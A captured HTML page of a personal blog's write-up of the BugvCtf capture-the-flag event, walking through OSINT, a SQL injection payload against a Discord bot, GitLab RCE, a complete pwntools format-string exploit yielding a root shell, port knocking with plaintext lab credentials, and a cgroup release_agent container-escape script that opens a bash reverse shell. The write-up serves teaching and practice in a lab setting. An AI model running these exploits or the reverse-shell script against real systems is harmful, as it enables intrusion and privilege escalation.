PageSourceSearch

https://0xdead-babe.github.io/bugvctf.html

html 0xdead-babe.github.io collected 2026-10-03 08:31:08 UTC 36,976 bytes, 568 lines download raw bytes

1<!DOCTYPE html>
2<html lang="en-US">
3  <head>
4
5    
6    <meta charset="UTF-8">
7
8    <!-- Begin Jekyll SEO tag v2.8.0 -->
9<title>BugvCtf Writeup | 0xdead-babe.github.io</title>
10<meta name="generator" content="Jekyll v3.9.3" />
11<meta property="og:title" content="BugvCtf Writeup" />
12<meta property="og:locale" content="en_US" />
13<link rel="canonical" href="https://0xdead-babe.github.io/bugvctf.html" />
14<meta property="og:url" content="https://0xdead-babe.github.io/bugvctf.html" />
15<meta property="og:site_name" content="0xdead-babe.github.io" />
16<meta property="og:type" content="website" />
17<meta name="twitter:card" content="summary" />
18<meta property="twitter:title" content="BugvCtf Writeup" />
19<script type="application/ld+json">
20{"@context":"https://schema.org","@type":"WebPage","headline":"BugvCtf Writeup","url":"https://0xdead-babe.github.io/bugvctf.html"}</script>
20
21<!-- End Jekyll SEO tag -->
22
23    <link rel="preconnect" href="https://fonts.gstatic.com">
24    <link rel="preload" href="https://fonts.googleapis.com/css?family=Open+Sans:400,700&display=swap" as="style" type="text/css" crossorigin>
25    <meta name="viewport" content="width=device-width, initial-scale=1">
26    <meta name="theme-color" content="#157878">
27    <meta name="apple-mobile-web-app-status-bar-style" content="black-translucent">
28    <link rel="stylesheet" href="/assets/css/style.css?v=de3f59910885c02a6daf092dfd71416103dfb6ea">
29    
30    
30<script src="https://cdn.jsdelivr.net/npm/[email protected]/darkreader.min.js"></script>
30
31    
31<script>
32        DarkReader.enable();
33    </script>
33
34    
35  </head>
36  <body>
37
38    <header class="page-header" role="banner">
39      <h1 class="project-name">BugvCtf Writeup</h1>
40      <h2 class="project-tagline"></h2>
41      
42      
43    </header>
44
45    <main id="content" class="main-content" role="main">
46      <h1 id="bugvctf-writeup">BugvCtf Writeup</h1>
47<p>Being a cyber security enthusiast i was really excited when i heard about the bugv ctf. If i remember correctly Cynical Technology conducted ctf last year too. Though i didn’t participate on last year’s ctf, i was eagerly waiting for this year’s ctf.</p>
48
49<h1 id="long-story-short">Long Story Short</h1>
50<p>So, Bugv ctf is single program CTF. In simple words, unlike in jeopardy category, we are just given single target and we need to keep pwning until we figureout all the flags.</p>
51
52<h1 id="message-to-readers">Message To Readers</h1>
53<p>I have tried my best to explain the stuff though i am really bad at explaining the stuff. I am more like a demo god. I can show you how things are done but understanding part is left upon you. So ,i have attached some of resources on resource section. Moreover some of the tasks were revisited for Quality writeup(writeup is still shit though). The writeup that i submitted to bugv team slightly differs(Making everything fair) from this one. There were bunch of typos. Making your writeup public with bunch of typos isn’t fun(Though i don’t care, its going to be painful for readers).</p>
54
55<p>Moreover if your are one of the guy who cares for beautiful, pleasant and elegant looking UI sorry my friend you are going to have a hard time throught this blog. I don’t have enough time to setup all things. Shinigami, aka DEAD GOD is roaming around me. (I mean my exams are very near.)</p>
56
57<h1 id="initial-enumeration">Initial Enumeration</h1>
58<p><code class="language-plaintext highlighter-rouge">thawang.live/</code> this was out target. On visiting the page we are presented with the static web page.
59<img src="/images/initial.png" alt="" /></p>
60
61<p>So, this is a static page which is hosted on amazon s3. My initial guess was that we might have to compromise the cloud infracstructure. So, i spent my 2-3 hours just trying to figure out if we can do anything with s3 bucket. I used the <code class="language-plaintext highlighter-rouge">aws cli</code> tool to check if we can access the bucket. However, the bucket was private and my enumeration was useless.</p>
62
63<p>I checked  the source code of the site to see if we can get anything.</p>
64
65<p><img src="/images/initial2.png" alt="" /></p>
66
67<p>I don’t know if i didn’t pay enough attention or this hint was added later, but looks like i was hunting the rabbit hole. Correct path was to do OSINT.</p>
68
69<p>Scrolling  the page we can see some of the users listed. Let’s add it to our note. Mightbe useful later.</p>
70
71<p><img src="/images/initial3.png" alt="" /></p>
72
73<p>so the next step was to do OSINT on these users.(Guessed it didn’t know what to do)</p>
74
75<p><code class="language-plaintext highlighter-rouge">Ojasini Shrees</code> drew my attention. Since, she is social media influencer, she definitely has to offer something.</p>
76
77<p>I checked if i can find any social media accounts. I checked on facebook if i can find her account.
78Luckly i found. I even found the LInkedin profile of Thawang Shield Security, dexa singh ,Naval Maharjan(Thawang Intern) and Ojasini Shrees. It was useless so i am not mentioning it.</p>
79
80<p><img src="/images/initial4.png" alt="" /></p>
81
82<p>She had updated her cover photo and her caption was a bit suspicious.
83<code class="language-plaintext highlighter-rouge">View is spectacular in binary level.</code> This caption was added later by organizers because a lot of people were asking for hint.
84I always thought facebook removes your metadata, that’s why i didn’t bother too much to use my awsesome steganography skills.(IT SUCKS TO BE HONEST). I was stuck at this moment for hell lot of time. I was banging my head against wall ,cursing organizers but, i don’t know if i was ordered from universe, or my sixth sense suddenly activated i decided to download image to examine it.
85Yeah, i downloaded the image and checked if i can find anything. I ran <code class="language-plaintext highlighter-rouge">exiftool</code>.
86Boom, got first flag.(What the heck facebook, why didn’t you remove it?)</p>
87
88<p><img src="/images/bugv_1.png" alt="" /></p>
89
90<p>Now we have got  the invite link for the discord server.</p>
91
92<h1 id="discord-bot-sqli">DISCORD BOT SQLI</h1>
93
94<p>Bot in discord server allows us to create the secret and and read secret using following command.</p>
95
96<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>	$create secret your_secret
97	$get secret 
98</code></pre></div></div>
99
100<p>This was the most frustrating challenge. There is no way someone can guess there would be a SQLI in bot.(IT WAS INTERESTING CHALLENGE TBH, DUMB KID LIKE ME CAN’T FIGUREOUT SUCH STUFF😞.)</p>
101
102<p>I Solved this challenge at last, but i am keeping it here in second. At least source code for the bot should have been provided.
103It’s really difficult to know what’s in challenge creator’s head.</p>
104
105<h3 id="payload-used">Payload used</h3>
106
107<pre><code class="language-SQL">$get XO' OR 1=1 -- -
108</code></pre>
109
110<p><img src="/images/bugv_2.png" alt="" /></p>
111
112<h1 id="gitlab-rce">GITLAB RCE</h1>
113
114<p>Under the resource chanel, we are given a ip address and a github repo.
115So lets quickly clone repo and head over the IP.</p>
116
117<p>So next step was to do nmap scan</p>
118
119<pre><code class="language-SQL">Starting Nmap 7.80 ( https://nmap.org ) at 2021-12-25 12:51 +0545
120Nmap scan report for ec2-18-142-23-79.ap-southeast-1.compute.amazonaws.com (18.142.23.79)
121Host is up (0.073s latency).
122Not shown: 65530 filtered ports
123PORT      STATE  SERVICE VERSION
12422/tcp    open   ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
1251022/tcp  open   ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
126| ssh-hostkey: 
127|   2048 fa:f3:ef:f5:50:1c:8a:75:68:0c:8e:00:c9:73:ab:55 (RSA)
128|   256 f9:0e:5b:c6:73:7b:e0:3b:e1:c2:1b:6b:b7:9d:b4:1c (ECDSA)
129|_  256 ed:13:cf:94:04:d6:08:ba:b5:f5:32:99:ec:03:be:ae (ED25519)
1301080/tcp  open   http    nginx
131| http-robots.txt: 53 disallowed entries (15 shown)
132| / /autocomplete/users /search /api /admin /profile 
133| /dashboard /projects/new /groups/new /groups/*/edit /users /help 
134|_/s/ /snippets/new /snippets/*/edit
135| http-title: Sign in \xC2\xB7 GitLab
136|_Requested resource was http://ec2-18-142-23-79.ap-southeast-1.compute.amazonaws.com:1080/users/sign_in
137|_http-trane-info: Problem with XML parsing of /evox/about
1381194/tcp  closed openvpn
13910443/tcp closed unknown
140Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
141
142Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
143Nmap done: 1 IP address (1 host up) scanned in 286.71 seconds
144</code></pre>
145<p>Output of nmap is self explanatory i guess.</p>
146
147<p>Lets head over to the web page and see what it has to offer.</p>
148
149<p><img src="/images/gitlab.png" alt="" /></p>
150
151<p>I quickly registered for the new user and logged in.</p>
152
153<p>If i remember correctly, there has been numerous CVE on gitlab. so it makes senese to check the gitlab version. I navigated to help page and we are presented with beautiful red warning.</p>
154
155<p><img src="/images/warning.png" alt="" /></p>
156
157<p>Quick google shows us that it is vulnerable for RCE. Even liveoverflow has made wonderful video explaining the issue. So i am going to grab the publlicly available exploit.</p>
158
159<p>I modified the exploit and replaced <code class="language-plaintext highlighter-rouge">nc</code> with <code class="language-plaintext highlighter-rouge">netcat</code>. I didn’t have public ip so i used VPS.
160I quickly added my public key and logged in using ssh. You don’t need VPS, you can use the ovpn file provided to you. Figured out it later.</p>
161
162<p><img src="/images/gitlab_ssh.png" alt="" /></p>
163
164<p><img src="/images/bugv_3.png" alt="" /></p>
165
166<p>So we are finally in as <code class="language-plaintext highlighter-rouge">git</code> user. and we get out third flag. EZ PZ.
167Looking at the home directory i found there was BugvCTf.apk. Same file was in the repo that i cloned earlier. So i thought i had to do something with the apk itself.</p>
168
169<p>So i installed <code class="language-plaintext highlighter-rouge">jadx</code> on my system and opened the apk. I didn’t bother to look at the entire code base,  instead after decompiling the apk ,i searched for the  string <code class="language-plaintext highlighter-rouge">bugvctf</code> in apk, and the 4th flag was found.</p>
170
171<p><img src="/images/bugv_4.png" alt="" /></p>
172
173<p>So we have figured out the fourth flag.if we observe closely there is password for the user kakashi. I quickly checked if we have kakashi user in <code class="language-plaintext highlighter-rouge">/etc/passwd</code> . We do have user kakashi.</p>
174
175<p><img src="/images/kakashi_user.png" alt="" /></p>
176
177<p>so lets check if we can authenticate using this password.</p>
178
179<p><img src="/images/kakashi.png" alt="" /></p>
180
181<p>Successfullt authenticated.</p>
182
183<h1 id="format-string-vulnerability">FORMAT STRING VULNERABILITY</h1>
184
185<p>Looking at the home directory we can see binary named <code class="language-plaintext highlighter-rouge">malicious</code>. It was given setuid permission. So it makes sense to look at it. I was really excited and i thought we might have to reverse malware. So lets grab the binary and check it on ghidra.
186Not a big fan of Ghidra. Sometimes looking at disassembly is easier than looking at decompiled code generated from ghidra. I personally love IDA decompiler. Sadly no enough money to buy IDA Pro(I mean it costs $1000. Piracy rocks though 😎).</p>
187
188<p><img src="/images/ghidra.png" alt="" /></p>
189
190<p>Binary is fairly simple and doesn’t provide to much of functionality. However one thing drew my attention. Direct user input was being passed to printf and we know it results in format str
190ing vulnerability(No format string specifier was specified).</p>
191
192<p><img src="/images/fmt.png" alt="" /></p>
193
194<p>Moreover there was another function named <code class="language-plaintext highlighter-rouge">binshell</code> which was never invoked and it would spawn a shell.</p>
195
196<p><img src="/images/binshell.png" alt="" /></p>
197
198<p>so our goal is to somehow call the binshell function and get the shell. Before starting the exploitation process lets check what are the protection mechanism in the binary. Our friendly <code class="language-plaintext highlighter-rouge">checksec</code> tool allows us to do so. (I need to add checksec to my path)</p>
199
200<p><img src="/images/checksec.png" alt="" /></p>
201
202<p>Since we have no PIE and Partial RERLO is enabled, our exploitation becomes easy. Because PIE is disabled all the functions in binary will have the same address. Partial RERLO puts the GOT entries before local variables and we can’t overflow it. However in our case we have format string vulnerability which allows us to create strong primitives. <code class="language-plaintext highlighter-rouge">Arbitrary read</code> and <code class="language-plaintext highlighter-rouge">Arbitrary Write</code>. So our exploitation plan is to overwrite any of the GOT entry with the address of binshell.</p>
203
204<p><img src="/images/got.png" alt="" /></p>
205
206<p>I am going to overwrite the <code class="language-plaintext highlighter-rouge">exit</code> GOT entry in my exploit.</p>
207
208<p>We can write value on stack using <code class="language-plaintext highlighter-rouge">%n</code> format specifier. However i am not going to do it manually. Let the pwntools handle it properly.</p>
209
210<p>Before moving further let’s calculate the offset.</p>
211
212<p>lets throw bunch of <code class="language-plaintext highlighter-rouge">%p</code>.</p>
213
214<p><img src="/images/format_offset.png" alt="" /></p>
215
216<p>if we observer output carefully , we can see our input being reflected at position 4. So our offset is going to be 4.</p>
217
218<p>There is even a cool way to calculate the offset using pwntools.</p>
219
220<h2 id="lets-automate">Let’s Automate</h2>
221<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
222<span class="kn">from</span> <span class="nn">pwnlib.fmtstr</span> <span class="kn">import</span> <span class="n">FmtStr</span>
223<span class="kn">from</span> <span class="nn">time</span> <span class="kn">import</span> <span class="n">sleep</span>
224
225<span class="n">context</span><span class="p">.</span><span class="n">terminal</span><span class="o">=</span><span class="p">[</span><span class="s">'tmux'</span><span class="p">,</span> <span class="s">'new-window'</span><span class="p">]</span>
226<span class="c1">#context.log_level = 'debug'
227</span><span class="n">elf</span> <span class="o">=</span> <span class="n">context</span><span class="p">.</span><span class="n">binary</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">'./malicious'</span><span class="p">,</span> <span class="n">checksec</span><span class="o">=</span><span class="bp">False</span><span class="p">)</span>
228
229
230<span class="n">gs</span> <span class="o">=</span> <span class="s">'''
231b main
232'''</span>
233
234<span class="k">def</span> <span class="nf">calculate_offset</span><span class="p">(</span><span class="n">payload</span><span class="p">):</span>
235
236    <span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="n">elf</span><span class="p">.</span><span class="n">path</span><span class="p">)</span>
237    <span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"?"</span><span class="p">,</span> <span class="s">"yes"</span><span class="p">)</span>
238    <span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>
239    <span class="n">p</span><span class="p">.</span><span class="n">
239sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
240    <span class="n">sleep</span><span class="p">(</span><span class="mf">0.1</span><span class="p">)</span>
241    <span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>
242    <span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>
243    <span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>
244    <span class="n">r</span> <span class="o">=</span> <span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>
245    <span class="n">p</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
246    <span class="k">return</span> <span class="n">r</span>
247
248
249<span class="k">print</span><span class="p">(</span><span class="n">FmtStr</span><span class="p">(</span><span class="n">execute_fmt</span><span class="o">=</span><span class="n">calculate_offset</span><span class="p">).</span><span class="n">offset</span><span class="p">)</span>
250
251</code></pre></div></div>
252
253<p><img src="/images/offset_automate.png" alt="" /></p>
254
255<p>Code sometimes doesn’t work.(It works, just gets hung sometimes). Running script couple of times fixs the problem.</p>
256
257<h2 id="exploit-goes-brrr">Exploit goes brrr.</h2>
258
259<pre><code class="language-Python">from pwn import *
260from pwnlib.fmtstr import fmtstr_payload
261
262context.terminal=['tmux', 'new-window']
263
264elf = context.binary = ELF('./malicious', checksec=False)
265
266
267gs = '''
268b main
269'''
270
271GOT_EXIT = elf.got['exit']
272binshell = elf.symbols['binshell']
273
274#FOR DEBUGGING PROCESS
275def start():
276    return gdb.attach(elf.path, gdbscript=gs)
277
278
279def get_payload():
280	#4 is the offset that we calculated earlier
281    payload = fmtstr_payload(4, {GOT_EXIT:binshell})
282    return payload
283
284p = process(elf.path)
285
286
287log.info("exit_got @" + hex(GOT_EXIT))
288log.info("bin @" + hex(binshell))
289
290
291#interacting with the binary
292
293
294p.sendlineafter("?", "yes")
295p.recvline()
296p.sendline(get_payload())
297
298p.interactive()
299</code></pre>
300
301<p>My exploit was 100% reliable in my local machine however it failed couple of times on remote server. Running it couple of times spawns the root shell.</p>
302
303<p><img src="/images/bugv_5.png" alt="" /></p>
304
305<p>Boom, now we are root got 5th flag and we are given what to hunt down next.</p>
306
307<p>I have skipped some of the stuff(I mean hell lot of stuff). I i start to write everything in detailed form, then writeup is going to be crazy long. Instead i am attaching some of resources(Scroll to bottom of page for resources) where you can go and explore further. If you are completely new to Binary exploitation and all these exploit development stuff then, i highly recommend you to go through LiveOverflow’s playlist. He creates amazing content.</p>
308
309<p>Lets continue our OSINT…..</p>
310
311<h1 id="scripting">SCRIPTING</h1>
312
313<p>In early enumeration, we had discovered the facebook profile of <code class="language-plaintext highlighter-rouge">ojasini shrees</code>. There she had linked(I don’t know if linked is going to be correct word) her twitter handle Too. So, lets headover to the twitter handle.</p>
314
315<p><img src="/images/tweet.png" alt="" /></p>
316
317<p>This looks like hex. I grabbed and decoded it, and it produced gibberish output. It looked like some binary data, so i grabbed the first tweet and decoded to know what it was.</p>
318
319<p><img src="/images/png_decode.png" alt="" /></p>
320
321<p>So we can confirm its png image. So out next goal was to grab all those hex and decode it and get the image. There were more than 100 tweets so ,it makes no sense to grab all of them manually. So i signed up for twitter api and grabbed all the tweets at once. If you haven’t used twitter api and have no idea what the heck it is,  you can always check the resource section.</p>
322
323<p>first lets grab the <code class="language-plaintext highlighter-rouge">Ojasini shrees</code> id so that we can use it with twitter api.</p>
324
325<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-X</span> GET <span class="nt">-s</span> <span class="nt">-H</span> <span class="s1">'Authorization: Bearer YOUR_AUTH_TOKEN'</span> <span class="s2">"https://api.twitter.com/2/users/by/username/ojasini_shrees"</span>
326
327</code></pre></div></div>
328
329<p>Hitting on above endpoint gives following result.</p>
330
331<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
332  </span><span class="nl">"data"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
333    </span><span class="nl">"id"</span><span class="p">:</span><span class="w"> </span><span class="s2">"1439870840212910080"</span><span class="p">,</span><span class="w">
334    </span><span class="nl">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Ojasini Shrees"</span><span class="p">,</span><span class="w">
335    </span><span class="nl">"username"</span><span class="p">:</span><span class="w"> </span><span class="s2">"ojasini_shrees"</span><span class="w">
336  </span><span class="p">}</span><span class="w">
337</span><span class="p">}</span><span class="w">
338
339</span></code></pre></div></div>
340
341<p>We have her unique id and now we are ready to move ahead.</p>
342
343<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-X</span> GET <span class="nt">-s</span> <span class="nt">-H</span> <span class="s1">'Authorization: Bearer YOUR_AUTH_TOKEN'</span> <span class="s2">"https://api.twitter.com/2/users/1439870840212910080/tweets?max_results=100"</span>  | jq
344
345</code></pre></div></div>
346
347<p><img src="/images/tweet_all.png" alt="" /></p>
348
349<p>I filtered all the tweets, decoded the hex and the image was corrupted. After examining i found there were only 95 tweets. Some tweets were missing. We need all 109 tweets to get image.</p>
350
351<p>Twitter api only allows you to get 100 tweets at a time but there were more than 100 tweets, so we have to find a way to grab all the tweets. Scrolling through twitter api documentation i found,  it provides pagination support. If we look at JSON output we got earlier , we are provided with <code class="language-plaintext highlighter-rouge">next_token</code>. We have to use pagination inorder to get the remaining tweets.</p>
352
353<p>So lets hit end point again providing the pagination token.</p>
354
355<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-X</span> GET <span class="nt">-s</span> <span class="nt">-H</span> <span class="s1">'Authorization: Bearer YOUR_AUTH_TOKEN'</span> <span class="s2">"https://api.twitter.com/2/users/1439870840212910080/tweets?max_results=100&amp;pagination_token=YOUR_PAGINATION_TOKEN"</span>
356</code></pre></div></div>
357
358<p><img src="/images/pagination.png" alt="" /></p>
359
360<p>so next step was to filter the tweets, decode the hex and send output to a file.</p>
361
362<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat </span>tweets.txt | <span class="nb">grep</span> <span class="nt">-i</span>
362 Tweet | <span class="nb">sort</span> <span class="nt">-V</span> | <span class="nb">awk</span> <span class="s1">'{print $4}'</span> | <span class="nb">tr</span> <span class="nt">-d</span> <span class="s1">'('</span> | <span class="nb">tr</span> <span class="nt">-d</span> <span class="s1">')"'</span> | <span class="nb">tr</span> <span class="nt">-d</span> <span class="s1">'\n'</span> | xxd <span class="nt">-r</span> <span class="nt">-p</span> <span class="o">&gt;</span> photo.png
363</code></pre></div></div>
364
365<p>I know there is a better way to achieve this. You can do this in a btter way just using awk. But in CTF every seconds counts and i didn’t have time to do the best way. So i picked the tools and trick  that i was familar with. <code class="language-plaintext highlighter-rouge">Don't judge by bash skills LOL 😂</code>.</p>
366
367<p>This oneliner saved my hours. Now we can view the image.</p>
368
369<p><img src="/images/qrcode.png" alt="" /></p>
370
371<p>It’s QR Code. You can get its output easily. I am not going to leave my ultimate comfort zone(Yeah that black screen, Terminal), so i am going to install zbarimg(Google it if you don’t know how to install zbarimg, this isn’t going to be guide about installing zbarimg and  decoding QR codes).</p>
372
373<h4 id="zbarimg-goes-brrrrrr">Zbarimg goes brrrrrr.</h4>
374
375<p><img src="/images/bugv_6.png" alt="" /></p>
376
377<p>Boom we got our sixth flag. Now we are given another IP.(Another headache and real pain in ass)</p>
378
379<p>So, lets headover to nmap scan.</p>
380
381<h1 id="docker-container-escape">DOCKER CONTAINER ESCAPE</h1>
382
383<pre><code class="language-SQL">Nmap scan report for ec2-13-251-13-169.ap-southeast-1.compute.amazonaws.com (13.251.13.169)
384Host is up (0.12s latency).
385Not shown: 65506 filtered ports, 28 closed ports
386PORT     STATE SERVICE VERSION
3872991/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
388Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
389
390Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
391Nmap done: 1 IP address (1 host up) scanned in 822.46 second
392</code></pre>
393
394<p>Run nmap with <code class="language-plaintext highlighter-rouge">-p-</code> flag otherwise, you aren’t going to get any results.</p>
395
396<p>So we have found ssh is listening on PORT 2991. Seems a bit off.</p>
397
398<p>Before going any further let’s check if it allows password authentication.</p>
399
400<p><img src="/images/password_auth.png" alt="" />
401No any public key , blah blah error instead prompts for password. So we are good to go.</p>
402
403<p>but we have no credentials (SPOILER ALERT - WE HAVE). If we look at the repo we cloned earlier we have <code class="language-plaintext highlighter-rouge">traffic.pcapng</code> file. I didn’t bother to load it on wireshark(Yeah i loaded it on wireshark and scrolled for hours), instead i used the <code class="language-plaintext highlighter-rouge">strings</code> to see if we can get any thing.</p>
404
405<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>strings traffic.pcapng | <span class="nb">grep</span> <span class="nt">-i</span> bugv
406</code></pre></div></div>
407
408<p><img src="/images/bugv_7.png" alt="" /></p>
409
410<p>So we got our 7th flag and we have credentials too. Let’s check if we can authenticate to our new host.</p>
411
412<h4 id="another-message-to-dear-readers">ANOTHER MESSAGE TO DEAR READERS</h4>
413<p>If you are thinking to revisit the CTF tasks looking at writeup, sorry bruh you are out of luck. Password has been changed. I was revisiting some of the tasks and i couldn’t authenticate with same password (IT WAS DURING CTF HOURS). I was lucky during my time. I messaged organizer and asked them to check but, it wasn’t fixed at all. Looks like organizers might have changed it or some players might have changed it (IF YOU ARE ONE OF THE GUY WHO THINKS BREAKING CTF INFRASTRUCTURE IS COOL AND PLANNING TO GIVE NEXT TALK ON BREAKING CTF INFRASTRUCTURE FOR FUN AND PROFIT THEN, FUCK YOU). I have even seen lots of player executing bash fork bomb to DoS the infrastructure. Please don’t do it.</p>
414
415<p><img src="/images/login.png" alt="" /></p>
416
417<p>Looking at the hostname i guessed this has to be somekind of docker escape. I checked if we were in some kind of docker. but we were not(No .dockerenv file bruh). In home directory of escapegod another hint is provided.
417</p>
418
419<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Stick with the things that are running and around you.
420
421</code></pre></div></div>
422
423<p>Moreover I found the docker.conf file. Looks like docker is running with high priviliges.</p>
424
425<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nl">"capabilities"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
426			</span><span class="nl">"bounding"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
427				</span><span class="s2">"CAP_AUDIT_WRITE"</span><span class="p">,</span><span class="w">
428				</span><span class="s2">"CAP_KILL"</span><span class="p">,</span><span class="w">
429				</span><span class="s2">"CAP_NET_BIND_SERVICE"</span><span class="w">
430			</span><span class="p">],</span><span class="w">
431			</span><span class="nl">"effective"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
432				</span><span class="s2">"CAP_AUDIT_WRITE"</span><span class="p">,</span><span class="w">
433				</span><span class="s2">"CAP_KILL"</span><span class="p">,</span><span class="w">
434				</span><span class="s2">"CAP_NET_BIND_SERVICE"</span><span class="w">
435			</span><span class="p">],</span><span class="w">
436			</span><span class="nl">"inheritable"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
437				</span><span class="s2">"CAP_AUDIT_WRITE"</span><span class="p">,</span><span class="w">
438				</span><span class="s2">"CAP_KILL"</span><span class="p">,</span><span class="w">
439				</span><span class="s2">"CAP_NET_BIND_SERVICE"</span><span class="w">
440			</span><span class="p">],</span><span class="w">
441			</span><span class="nl">"permitted"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
442				</span><span class="s2">"CAP_AUDIT_WRITE"</span><span class="p">,</span><span class="w">
443				</span><span class="s2">"CAP_KILL"</span><span class="p">,</span><span class="w">
444				</span><span class="s2">"CAP_NET_BIND_SERVICE"</span><span class="w">
445			</span><span class="p">],</span><span class="w">
446			</span><span class="nl">"ambient"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
447				</span><span class="s2">"CAP_AUDIT_WRITE"</span><span class="p">,</span><span class="w">
448				</span><span class="s2">"CAP_KILL"</span><span class="p">,</span><span class="w">
449				</span><span class="s2">"CAP_NET_BIND_SERVICE"</span><span class="w">
450			</span><span class="p">]</span><span class="w">
451
452
453</span></code></pre></div></div>
454
455<p>So i grabbed the <code class="language-plaintext highlighter-rouge">pspy64s</code> to see what processes were running.</p>
456
457<p><img src="/images/pspy.png" alt="" /></p>
458
459<p>Docker is running, confirmed. Further exploring i found there were some iptables rule defined to reject all connections on these port.(Please refer screenshot.)</p>
460
461<p>Wait, Wait wait, these port number seems to be familiar. Remember the tweet of ojasini.</p>
462
463<p><img src="/images/tweet_knock.png" alt="" /></p>
464
465<p>I don’t know why but its giving hint towards the port knocking. so let’s see if we can see knockd conf.</p>
466
467<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat</span> /etc/knockd.conf
468</code></pre></div></div>
469
470<pre><code class="language-SQL">[options]
471        logfile=/var/log/knockd.log
472[openSSH]
473        sequence    = 1357,2468,13579
474        seq_timeout = 60
475        command     = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
476        tcpflags    = syn
477
478[openFTP]
479        sequence    = 13579,2468,1357
480        seq_timeout = 60
481        command     = /sbin/iptables -I INPUT -s %IP% -p tcp  --match multiport --dports 20,21 -j ACCEPT
482        tcpflags    = syn
483</code></pre>
484
485<p>So knocking on 1357,2468,13579 opens the port 22(it’s SSH man, definitely its something), which is interesting for us.</p>
486
487<p>so lets knock the port</p>
488
489<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>knock <span class="nt">-d</span> 60 13.251.13.169 1357 2468 13579
490</code></pre></div></div>
491
492<p>lets run nmap again to validate</p>
493
494<pre><code class="language-SQL">nmap -Pn  -p 22 13.251.13.169
495Starting Nmap 7.80 ( https://nmap.org ) at 2021-12-25 13:56 +0545
496Nmap scan report for ec2-13-251-13-169.ap-southeast-1.compute.amazonaws.com (13.251.13.169)
497Host is up (0.15s latency).
498
499PORT   STATE SERVICE
50022/tcp open  ssh
501
502Nmap done: 1 IP address (1 host up) scanned in 0.51 seconds
503</code></pre>
504
505<p>Boom, let’s see if we can authenticate using <code class="language-plaintext highlighter-rouge">escapegod:y0un33d23sc4p3</code> credentials.</p>
506
507<p><img src="/images/final_login.png" alt="" /></p>
508
509<p>Looks like we are in container.</p>
510
511<p><img src="/images/container_ssh.png" alt="" /></p>
512
513<p>yup we are. <code class="language-plaintext highlighter-rouge">.dockerenv</code> file confirms.</p>
514
515<p>If we remember correctly we are in <code class="language-plaintext highlighter-rouge">privileged</code> container. so lets escape it. I will copy paste the exploit from internet like shameless script kiddy.(I have attached the resource.)</p>
516
517<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">mkdir</span> /tmp/cgrp <span class="o">&amp;&amp;</span> mount <span class="nt">-t</span> cgroup <span class="nt">-o</span> rdma cgroup /tmp/cgrp <span class="o">&amp;&amp;</span> <span class="nb">mkdir</span> /tmp/cgrp/x
518
519<span class="nb">echo </span>1 <span class="o">&gt;</span> /tmp/cgrp/x/notify_on_release
520
521<span class="nv">host_path</span><span class="o">=</span> <span class="sb">`</span><span class="nb">sed</span> <span class="nt">-n</span> <span class="s1">'s/.*\perdir=\([^,]*\).*/\1/p'</span> /etc/mtab<span class="sb">`</span>
522
523<span class="nb">echo</span> <span class="s2">"</span><span class="nv">$host_path</span><span class="s2">/cmd"</span> <span class="o">&gt;</span> /tmp/cgrp/release_agent
524
525<span class="nb">echo</span> <span class="s1">'#!/bin/sh'</span> <span class="o">&gt;</span> /cmd
526
527<span class="nb">echo</span> <span class="s2">"bash -i &gt;&amp; /dev/tcp/127.0.0.1/7878 0&gt;&amp;1 &gt; </span><span class="nv">$host_path</span><span class="s2">/output"</span> <span class="o">&gt;&gt;</span> /cmd
528
529<span class="nb">chmod </span>a+x /cmd
530
531sh <span class="nt">-c</span> <span class="s2">"echo </span><span class="se">\$\$</span><span class="s2"> &gt; /tmp/cgrp/x/cgroup.procs"</span>
532
533</code></pre></div></div>
534
535<p>I wiill be listening for reverse shell outside the container in shell of escapegod user. (escapegod user that we got earlier).</p>
536
